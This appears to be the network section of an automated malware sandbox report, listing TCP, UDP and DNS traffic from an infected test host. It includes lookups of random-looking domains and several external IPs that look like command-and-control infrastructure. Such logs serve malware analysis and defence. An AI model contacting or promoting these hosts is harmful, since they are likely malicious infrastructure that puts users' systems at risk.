Nov 3, 2022 12:47:20.890677929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890687943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890695095 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890708923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890727043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890733004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890741110 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890748024 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890758038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890767097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890784025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890789986 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890799046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890803099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890820980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890822887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890842915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890850067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890862942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890872955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890907049 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890913010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890918016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890933037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890953064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890960932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890973091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.890985012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.890990973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891000032 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891011000 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891021013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891030073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891041994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891050100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891052961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891062021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891068935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891084909 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891087055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891103983 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891108036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891123056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891125917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891143084 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891146898 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891156912 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891165972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891181946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891185999 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891200066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891206026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891218901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891225100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891242981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891244888 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891257048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891262054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891272068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891280890 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891294003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891300917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891319036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891325951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891339064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891346931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891357899 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891361952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891376972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891377926 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891391993 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891397953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891413927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891416073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891433954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891437054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891453028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891458035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891469955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891477108 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891494036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891498089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891509056 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891513109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891530037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891530991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891541958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891551018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891566992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891570091 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891583920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891588926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891607046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891607046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891627073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891629934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891640902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891645908 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891661882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891664982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891681910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891685963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891704082 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891711950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891721964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891726017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891738892 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891741991 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891755104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891761065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891778946 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891782999 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891798019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891808987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891827106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891834021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891844988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891844988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891864061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891866922 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891880035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891884089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891901970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891901970 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891915083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891928911 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891941071 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.891948938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891966105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891983032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.891988039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892003059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892014980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892020941 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892039061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892059088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892064095 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892072916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892091990 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892106056 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892119884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892122984 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892123938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892134905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892146111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892154932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892179012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892189026 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892189026 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892204046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892210960 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892227888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892234087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892255068 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892261028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892280102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892286062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892296076 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892307043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892330885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892335892 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892359972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892362118 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892370939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892398119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892406940 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892431974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892462969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892467976 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892488956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892519951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892524004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892533064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892560005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892590046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892590046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.892623901 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.892632008 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:20.931548119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:20.931655884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:21.133605957 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:21.133948088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:22.318963051 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:22.374732971 CET	80	49710	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:22.376455069 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:22.380043030 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:22.380117893 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:22.435714960 CET	80	49710	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:22.435739994 CET	80	49710	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:22.446079016 CET	80	49710	193.106.191.15	192.168.2.6
Nov 3, 2022 12:47:22.488554001 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:25.476917982 CET	49710	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:47:27.992135048 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:27.992197037 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:27.992290020 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:28.045767069 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:28.045830011 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:28.114712000 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:28.114809036 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.126655102 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.126738071 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.127684116 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.127783060 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.143805027 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.143846035 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.181327105 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.181395054 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.181422949 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.181466103 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.181478977 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:29.181524038 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.699748039 CET	49713	443	192.168.2.6	162.0.217.254
Nov 3, 2022 12:47:29.699773073 CET	443	49713	162.0.217.254	192.168.2.6
Nov 3, 2022 12:47:32.543313980 CET	49714	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:35.630053997 CET	49714	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:41.724325895 CET	49714	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:41.816272974 CET	80	49714	87.251.79.105	192.168.2.6
Nov 3, 2022 12:47:41.947211981 CET	49715	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:42.034779072 CET	80	49715	87.251.79.105	192.168.2.6
Nov 3, 2022 12:47:42.529248953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.529422045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.567542076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.567573071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.567687988 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.567688942 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.606055975 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606138945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606175900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606219053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606245041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606256962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.606352091 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.606509924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.606509924 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.644553900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644593954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644613981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644659042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644709110 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.644772053 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644783974 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.644819975 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.644870996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644921064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.644983053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.645030022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.645134926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.645219088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:42.645242929 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.645292044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.645309925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.645385981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.677536964 CET	49715	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:42.682857037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.682909966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683021069 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683113098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683381081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683397055 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683408976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683604956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683729887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683744907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683758020 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683809042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.683993101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.684010029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.684024096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.684046984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.684097052 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.726155043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.768620014 CET	80	49715	87.251.79.105	192.168.2.6
Nov 3, 2022 12:47:42.820983887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:42.821938038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:43.380799055 CET	49715	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:43.469789982 CET	80	49715	87.251.79.105	192.168.2.6
Nov 3, 2022 12:47:43.778819084 CET	49716	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:46.881035089 CET	49716	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:52.881583929 CET	49716	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:52.989109993 CET	80	49716	87.251.79.105	192.168.2.6
Nov 3, 2022 12:47:53.273113012 CET	49719	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:47:55.189795971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:56.288016081 CET	49719	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:48:02.351078987 CET	49719	80	192.168.2.6	87.251.79.105
Nov 3, 2022 12:48:02.446279049 CET	80	49719	87.251.79.105	192.168.2.6
Nov 3, 2022 12:48:06.341906071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:48:06.342036009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:48:06.342061043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:48:06.648399115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:48:06.705096006 CET	80	49704	193.106.191.15	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2022 12:46:48.324130058 CET	49786	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:46:48.367026091 CET	53	49786	8.8.8.8	192.168.2.6
Nov 3, 2022 12:46:48.420797110 CET	58595	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:46:48.441312075 CET	53	58595	8.8.8.8	192.168.2.6
Nov 3, 2022 12:46:52.528556108 CET	56331	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:46:52.549875021 CET	53	56331	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:12.192733049 CET	50506	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:12.209808111 CET	53	50506	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:22.184487104 CET	49448	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:22.295101881 CET	53	49448	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:27.901474953 CET	62910	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:27.925385952 CET	53	62910	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:32.249191999 CET	63863	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:32.542232990 CET	53	63863	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:41.836952925 CET	63229	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:41.945038080 CET	53	63229	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:43.483741999 CET	62538	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:43.778094053 CET	53	62538	8.8.8.8	192.168.2.6
Nov 3, 2022 12:47:52.994504929 CET	51530	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:47:53.272134066 CET	53	51530	8.8.8.8	192.168.2.6
Nov 3, 2022 12:48:02.478055954 CET	56122	53	192.168.2.6	8.8.8.8
Nov 3, 2022 12:48:02.585911036 CET	53	56122	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 3, 2022 12:46:48.324130058 CET	192.168.2.6	8.8.8.8	0xc8b9	Standard query (0)	furubujjul.net	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:46:48.420797110 CET	192.168.2.6	8.8.8.8	0x23bb	Standard query (0)	starvestitibo.org	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:46:52.528556108 CET	192.168.2.6	8.8.8.8	0x554c	Standard query (0)	shingroup.com	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:12.192733049 CET	192.168.2.6	8.8.8.8	0x6b9c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:22.184487104 CET	192.168.2.6	8.8.8.8	0x5c3e	Standard query (0)	starvestitibo.org	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:27.901474953 CET	192.168.2.6	8.8.8.8	0xd77f	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:32.249191999 CET	192.168.2.6	8.8.8.8	0x2a31	Standard query (0)	o36fafs3sn6xou.com	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:41.836952925 CET	192.168.2.6	8.8.8.8	0xfd5d	Standard query (0)	o3zxuhcc4hl9mi.com	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:43.483741999 CET	192.168.2.6	8.8.8.8	0x7779	Standard query (0)	o3l3roozuidudu.com	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:47:52.994504929 CET	192.168.2.6	8.8.8.8	0x23eb	Standard query (0)	o3npxslymcyfi2.com	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:48:02.478055954 CET	192.168.2.6	8.8.8.8	0x815f	Standard query (0)	o3b1wk8sfk74tf.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 3, 2022 12:46:48.367026091 CET	8.8.8.8	192.168.2.6	0xc8b9	No error (0)	furubujjul.net	91.195.240.101	A (IP address)	IN (0x0001)	false
Nov 3, 2022 12:46:48.441312075 CET	8.8.8.8	192.168.2.6	0x23bb	No error (0)	starvestitibo.org	193.106.191.15	A (IP address)	IN (0x0001)	false
